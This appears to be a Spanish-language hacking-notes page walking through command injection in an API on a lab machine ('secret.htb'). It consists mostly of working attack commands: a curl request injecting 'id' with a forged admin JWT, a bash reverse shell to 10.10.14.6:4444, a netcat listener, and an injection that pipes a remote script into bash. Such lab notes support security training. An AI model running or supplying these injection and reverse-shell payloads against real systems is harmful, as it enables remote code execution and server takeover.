> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/api-attack/abus-dapi-rce-pentesting-web.md).
# RCE por abuso de API
## RCE:
{% hint style="info" %}
Este código tiene un problema de seguridad causado por inyección de comandos. Porque `archivo` proviene de los parámetros de la solicitud y se inserta directamente en un comando de terminal, un usuario malicioso podría modificar `archivo` para ejecutar otros comandos. Esta ruta ejecuta `git log --oneline [file]` en el sistema, donde `[file]` se proporciona a través del parámetro de consulta de la solicitud.
{% endhint %}
Aquí hay un ejemplo de comando `curl` que intenta inyectar `id`:
{% code overflow="wrap" %}
```bash
curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq
```
{% endcode %}
#### ejecutaremos una shell inversa:
1. Crear un archivo `index.html` en nuestra máquina y crea un servidor web con el contenido a continuación:
```html
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/4444 0>&1
```
2. Luego, configúrelo en el listener del puerto 4444:
```bash
nc -nlvp 4444
```
Ejecute una inyección con `curl` en nuestro servidor web:
{% code overflow="wrap" %}
```bash
curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq
```
{% endcode %}
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